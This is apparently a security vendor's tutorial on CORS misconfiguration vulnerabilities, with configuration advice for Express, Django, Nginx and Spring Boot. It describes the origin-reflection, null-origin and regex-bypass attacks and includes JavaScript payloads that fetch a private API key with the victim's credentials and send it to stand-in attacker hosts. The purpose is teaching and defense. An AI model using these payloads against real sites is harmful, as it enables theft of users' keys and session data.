Cross-Origin Resource Sharing (CORS) is a browser-based mechanism that indicates permissible origins for a browser to load resources outside its web server’s domain. Besides enabling enhanced flexibility than the Same-Origin Policy (SOP), CORS also ensures security by controlling how the resources are requested and loaded from an external domain.
Several factors, however, may cause a CORS implementation to be susceptible to cyber-attacks. One such cause is the poor configuration of the CORS policy that is commonly exploited for cross-domain attacks, where threat actors send malicious requests to the web server’s domain as the first step towards deeper, system-level attacks.
This article teaches CORS misconfiguration vulnerabilities, their impacts, and prevention strategies and addresses commonly asked questions.
What is CORS Misconfiguration?
A cross-origin resource-sharing misconfiguration occurs when the web server allows third-party domains to perform privileged tasks through the browsers of legitimate users. As the CORS mechanism relies on HTTP headers, a browser makes preflight requests to the cross-domain resource and checks whether the browser will be authorized to serve the actual request. Therefore, improper configuration of CORS headers allows malicious domains to access and exploit the web server’s API endpoints. While multiple headers define the CORS policy, the following three are considered significant for administering security:
- Access-Control-Allow-Origin (ACAO) – Specifies the external domains that can access the web server’s resources. If the server generates this header dynamically, or if the website allows domains using a wildcard, the server may allow access to any domain, including those of attacker-controlled websites.
- Access-Control-Allow-Credentials – Specifies whether the client’s browser includes cookies, TLS certificates, or authorization headers in the request. If this header is set to true, the browser sends credentials with the request that can be retrieved in transit by attackers using malicious scripts.
- Access-Control-Allow-Methods – This header specifies the HTTP methods used for cross-domain access. If the header contains unsafe HTTP methods, attackers may access restricted resources by relaying requests that include untrusted scripts, binaries, and images.
How Are CORS Misconfigurations Exploited?
Attackers leverage CORS misconfigurations to abuse the chain of trust between the web server, client browser, and trusted domains. Common exploits targeting CORS misconfigurations include:
Origin Reflection
Let us assume a scenario where to allow the domain cross-origin-website.com to access content from the server at original-website.com; the outside domain is specified within the CORS configuration at the original-website.com web server using the ACAO header, as follows:
Access-Control-Allow-Origin: cross-origin-website.com
As CORS configuration does not allow developers to specify the allowed domains in a static list, developers either generate the ACAO header dynamically or use the wildcard character * if they are to allow more than one domain.
When generating the header dynamically, the web server reads the request’s Origin header, then writes it to the Access-Control-Allow-Origin header in the response. While these grant access to all domains, hackers can exploit the approach. A common exploit method is sending HTTP requests from custom origins and checking if the server allows access control to the origins, as shown below.
HTTP Request:
GET /api/getPrivateKey HTTP/1.1
Host: www.original-website.com
Origin: www.attacker-controlled-domain.com
Connection: close
HTTP Response:
HTTP/1.1 200 OK
Access-control-allow-credentials: true
Access-control-allow-origin: www.attacker-controlled-domain.com
{"[private API key]"}
Such an attack is known as an origin reflection exploit, where the web server reflects the request’s Origin header within the response’s access-control-allow-origin header. In addition, the response also exposes that the Access-control-allow-credentials header is set to true. In such instances, attacker-controlled-domain.com can use the victim’s credentials to send a request to original-website.com, allowing the attacker to retrieve the credentials by crafting a malicious script. To obtain the victim’s credentials via the attacker-controlled website, hackers can additionally embed a JavaScript in a page sent to the unsuspecting user similar to the following:
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://original-website.com/api/getPrivateKey',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='//attacker.net/log?key='+this.responseText;
};
Null Origin Exploit
Some developers configure their web servers to allow cross-origin access through a special origin approach known as the null origin. In such instances, the web server returns a similar response as shown below:
HTTP Response:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
Attackers take advantage of this by creating a sandboxed iFrame that depicts local HTML files to obtain the null origin. A sandboxed iFrame would look similar to:
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src='data:text/html,
<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://original-website.com/api/getPrivateKey',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='//attacker-controlled-site.net/log?key='+this.responseText;
};
</script>'>
</iframe>
A request sent with the above payload has a null origin and can be used to retrieve user credentials and other sensitive information.
Expanding Origin Exploit
Due to poorly implemented regular expressions of the origin header, a web server may not validate expanded addresses of the original origin. For instance, the web server may be configured to accept all domains that end with original-website.com, such as apps.original-website.com and mail.original-website.com.However, these may inadvertently allow requests from any domains ending with original-website.com, including attackers-original-website.com, due to an error in implementing RegEx locators.
Attackers can exploit this misconfiguration to create a malformed request similar to the following:
GET /getPrivateKey HTTP/1.1
Host: apps.original-website.com
Origin: https://attackers-original-website.com
The web server eventually offers a response with information on the victim’s credentials, similar to:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://attackers-original-website.com
Access-Control-Allow-Credentials: true
{"[private API key]"}
Cross-Origin Resource Sharing Misconfiguration Impact
The CORS mechanism was primarily built to relax the restrictive requirements of the same-origin policy. Vulnerabilities arise when the policies in CORS headers are too lenient and allow cross-domain access for any origin. Development teams often ignore CORS misconfigurations, making the exposure low-hanging fruit attackers typically exploit to orchestrate augmented attacks. Although CORS is a powerful technology, misconfigurations are simple to exploit since all an adversary requires is a basic understanding of header specifications and patience to perform vulnerability tests.
Impacts of successful CORS misconfiguration exploits include:
- Manipulation or theft of the victim’s cookies
- Creation and execution of invalid requests
- Execution of malicious code within the vulnerable web server
- Exposure to sensitive information
- Installation of malware
- Cross-site scripting attacks
CORS vulnerabilities (A05:2021) are categorized under ‘Security Misconfiguration‘ of the OWASP Top 10 vulnerabilities list. The group of vulnerabilities is attributed to an average weighted impact of 6.56 (moderate), an average weighted exploit of 8.12 (high), and an average incidence rate of 4.52% (moderate).
Prevention Guide
Security Misconfiguration Prevention Guide
Learn how to detect and prevent security misconfigurations.
Configuring CORS Headers for Different Frameworks
Configuring CORS headers for different programming languages/frameworks rely on different approaches. Some of these include:
CORS NPM Header
NPM is a widely used package manager for JavaScript’s Node.js. The CORS module is available in the NPM registry as a public package and is installed using the following command:
$ npm install cors
Once the module is installed, it can be enabled by configuring the CORS header options. The code snippet for allowing a cross-domain request from cross-origin-website.com would look similar to the following:
var express = require('express')
var cors = require('cors')
var app = express()
var corsOptions = {
origin: 'http://cross-origin-website.com',
optionsSuccessStatus: 200
}
app.get('/products/:id', cors(corsOptions), function (req, res, next) {
res.json({msg: 'This is CORS-enabled for only cross-origin-website.com.'})
})
app.listen(80, function () {
console.log('CORS-enabled web server listening on port 80')
})
DJANGO CORS Header
Django is a Python-based web framework for the rapid development of secure websites. Django includes a CORS module that is installed using the command:
$ python -m pip install django-cors-headers
Once installed, the module should be added to the installed apps and middleware class to observe web requests and responses using the script:
INSTALLED_APPS = [
...,
"corsheaders",
...,
]
MIDDLEWARE = [
...,
"corsheaders.middleware.CorsMiddleware",
"django.middleware.common.CommonMiddleware",
...,
]
The scripts for CORS headers used in the web framework would look similar to the following:
CORS_ALLOWED_ORIGINS = [
"https://cross-origin-website.com",
"https://sub.cross-origin-website.com",
]
CORS_ALLOWED_ORIGIN_REGEXES = [
r"^https://\w+\.example\.com$",
]
CORS_ALLOW_METHODS = [
"DELETE",
"GET",
"OPTIONS",
"PATCH",
"POST",
"PUT",
]
Nginx CORS Header
Nginx is a popular web server that acts as an HTTP cache, load balancer, reverse proxy, and mail proxy. Adding CORS to the NGINX server involves adding the add_header directive to the server’s configuration file. To allow requests from cross-origin-website.com, follow the steps below:
Open the server configuration file:
$ sudo vi /etc/nginx/nginx.conf
Add the add_header directive to the configuration file’s server block:
$ server {
add_header Access-Control-Allow-Origin "cross-origin-website.com";
}
Save the configuration and restart Nginx to apply the newly configured header.
FAQs
What is the difference between CORS and CSRF exploits?
In instances where CORS headers are improperly configured, attackers can use malicious domains to exploit the resources of an organization’s web server. CORS vulnerabilities are typically exploited for browser-based attacks that leverage a relaxation of the Same-Origin Policy to access restricted data and functionality.
On the other hand, Cross-Site Request Forgery (CSRF) is a web exploit that forces an unsuspecting user to submit unauthorized commands from a trusted web application. Since most web browsers automatically include the user’s session information when submitting requests, the website cannot distinguish between a legitimate and a forged request, eventually performing unwanted actions initiated by the attacker.
What are the best practices to prevent CORS misconfiguration exploits?
Some best practices to prevent CORS attacks include:
- Enforcing authentication on resources that have the Access-Control-Allow-Credentials configuration set to true
- Use a whitelist for the Access-Control-Allow-Origin header instead of a wildcard
- Enforcing filters and validation for all domains and subdomains that need to access resources
- Using platforms such as Crashtest Security for continuous vulnerability scanning and testing of security flaws
How to solve CORS issues in JavaScript?
Although using wildcards with Cross-Origin Requests ensures any URL can access web resources, the website ends up being susceptible to CORS attacks in such setups. Developers should instead configure CORS with options to allow only specific domains, subdomains, or HTTP methods to restrict open access.
The following code snippet demonstrates a typical approach to allow cross-origin requests from a single domain and the HTTP methods (GET and PUT):
var corsOptions = {
origin: 'http://cross-origin-website.com',
optionsSuccessStatus: 200 // For legacy browser support methods: "GET, PUT"
}
As non-standard headers (HTTP methods such as PUT, DELETE, PATCH) need a preflight, a preflight request can be checked using an HTTP verb option, as shown:
OPTIONS www.original-site.com?q=test
Access-Control-Request-Method: DELETE
Access-Control-Request-Headers: origin, x-requested-with
Origin: https://cross-origin-site.com
If the cross-origin request is allowed, the server responds with the following:
HTTP/1.1 204 No Content
Connection: keep-alive
Access-Control-Allow-Origin: https://cross-origin-site.com
Access-Control-Allow-Methods: POST, GET, OPTIONS, DELETE
Access-Control-Max-Age: 86400
Troubleshooting CORS issues involves inspecting the source code to check whether the URL in the headers matches the origin and whether the header’s method matches the requests.
How to enable CORS in Spring Boot?
To allow CORS requests from any origin to any endpoint in a Spring boot application, add the following to the JavaConfig file:
@Configuration
@EnableWebMvc
public class WebConfig implements WebMvcConfigurer {
@Override
public void addCorsMappings(CorsRegistry registry) {
registry.addMapping("/**");
}
}
This configuration allows all origins and the GET, HEAD, and POST methods. Additional configurations can be specified using a CorsRegistration object that the registry returns.addMapping method.